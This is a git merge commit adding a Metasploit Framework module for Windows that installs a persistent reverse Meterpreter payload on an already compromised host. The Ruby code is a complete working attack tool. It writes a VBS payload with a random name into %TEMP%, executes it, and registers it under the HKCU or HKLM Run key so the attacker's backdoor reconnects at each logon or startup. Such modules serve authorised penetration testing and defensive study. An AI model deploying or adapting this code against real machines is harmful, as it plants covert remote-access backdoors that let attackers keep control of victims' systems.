Merge branch 'darkoperator-post2localexploit' of https://github.com/darkoperator/metasploit-framework into darkoperator-darkoperator-post2localexploit

Author: jvazquez-r7

modules/exploits/windows/local/persistence.rb

@@ -0,0 +1,202 @@
+##
+# ## This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/file'
+require 'msf/core/post/windows/priv'
+require 'msf/core/post/windows/registry'
+require 'msf/core/exploit/exe'
+
+class Metasploit3 < Msf::Exploit::Local
+	Rank = ExcellentRanking
+
+	include Msf::Post::Common
+	include Msf::Post::File
+	include Msf::Post::Windows::Priv
+	include Msf::Post::Windows::Registry
+	include Exploit::EXE
+
+	def initialize(info={})
+		super( update_info( info,
+			'Name'          => 'Windows Manage Persistent Payload Installer',
+			'Description'   => %q{
+					This Module will create a boot persistent reverse Meterpreter session by
+				installing on the target host the payload as a script that will be executed
+				at user logon or system startup depending on privilege and selected startup
+				method.
+			},
+			'License'       => MSF_LICENSE,
+			'Author'        =>
+				[
+					'Carlos Perez <carlos_perez[at]darkoperator.com>'
+				],
+			'Platform'      => [ 'win' ],
+			'SessionTypes'  => [ 'meterpreter' ],
+			'Targets'       => [ [ 'Windows', {} ] ],
+			'DefaultTarget' => 0,
+			'DisclosureDate'=> "Oct 19 2011"
+		))
+
+		register_options(
+			[
+				OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
+				OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
+				OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
+				OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
+			], self.class)
+
+	end
+
+	# Exploit Method for when exploit command is issued
+	def exploit
+		print_status("Running module against #{sysinfo['Computer']}")
+
+		rexename = datastore['REXENAME']
+		delay = datastore['DELAY']
+		reg_val = datastore['REG_NAME']
+		@clean_up_rc = ""
+		host,port = session.session_host, session.session_port
+
+		exe = generate_payload_exe
+		script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
+		script_on_target = write_script_to_target(script,rexename)
+
+		if script_on_target == nil
+			# exit the module because we failed to write the file on the target host.
+			return
+		end
+
+		# Initial execution of script
+		if target_exec(script_on_target) == nil
+			# Exit if we where not able to run the payload.
+			return
+		end
+
+		case datastore['STARTUP']
+		when /USER/i
+			regwrite = write_to_reg("HKCU", script_on_target, reg_val)
+			# if we could not write the entry in the registy we exit the module.
+			if not regwrite
+				return
+			end
+		when /SYSTEM/i
+			regwrite = write_to_reg("HKLM", script_on_target, reg_val)
+			# if we could not write the entry in the registy we exit the module.
+			if not regwrite
+				return
+			end
+		end
+
+		clean_rc = log_file()
+		file_local_write(clean_rc,@clean_up_rc)
+		print_status("Cleanup Meterpreter RC File: #{clean_rc}")
+
+		report_note(:host => host,
+			:type => "host.persistance.cleanup",
+			:data => {
+				:local_id => session.sid,
+				:stype => session.type,
+				:desc => session.info,
+				:platform => session.platform,
+				:via_payload => session.via_payload,
+				:via_exploit => session.via_exploit,
+				:created_at => Time.now.utc,
+				:commands =>  @clean_up_rc
+			}
+		)
+	end
+
+	# Function for creating log folder and returning log path
+	def log_file(log_path = nil)
+		#Get hostname
+		host = session.sys.config.sysinfo["Computer"]
+
+		# Create Filename info to be appended to downloaded files
+		filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
+
+		# Create a directory for the logs
+		if log_path
+			logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
+		else
+			logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
+		end
+
+		# Create the log directory
+		::FileUtils.mkdir_p(logs)
+
+		#logfile name
+		logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
+		return logfile
+	end
+
+	# Writes script to target host
+	def write_script_to_target(vbs,name)
+		tempdir = expand_path("%TEMP%")
+		if name == nil
+			tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
+		else
+			tempvbs = tempdir + "\\" + name + ".vbs"
+		end
+		begin
+			write_file(tempvbs, vbs)
+			print_good("Persistent Script written to #{tempvbs}")
+			@clean_up_rc << "rm #{tempvbs}\n"
+		rescue
+			print_error("Could not write the payload on the target hosts.")
+			# return nil since we could not write the file on the target host.
+			tempvbs = nil
+		end
+		return tempvbs
+	end
+
+	# Executes script on target and return the PID of the process
+	def target_exec(script_on_target)
+		execsuccess = true
+		print_status("Executing script #{script_on_target}")
+		# error handling for process.execute() can throw a RequestError in send_request.
+		begin
+			if datastore['EXE::Custom'].nil?
+				session.shell_command_token(script_on_target)
+			else
+				session.shell_command_token("cscript \"#{script_on_target}\"")
+			end
+		rescue
+			print_error("Failed to execute payload  on target host.")
+			execsuccess = nil
+		end
+		return execsuccess
+	end
+
+	# Installs payload in to the registry HKLM or HKCU
+	def write_to_reg(key,script_on_target, registry_value)
+		# Lets start to assume we had success.
+		write_success = true
+		if registry_value.nil?
+			nam = Rex::Text.rand_text_alpha(rand(8)+8)
+		else
+			nam = registry_value
+		end
+
+		print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
+
+		if(key)
+			set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
+			if set_return
+				print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
+			else
+				print_error("Failed to make entry in the registry for persistence.")
+				write_success = false
+			end
+		else
+			print_error("Error: failed to open the registry key for writing")
+			write_success = false
+		end
+	end
+
+end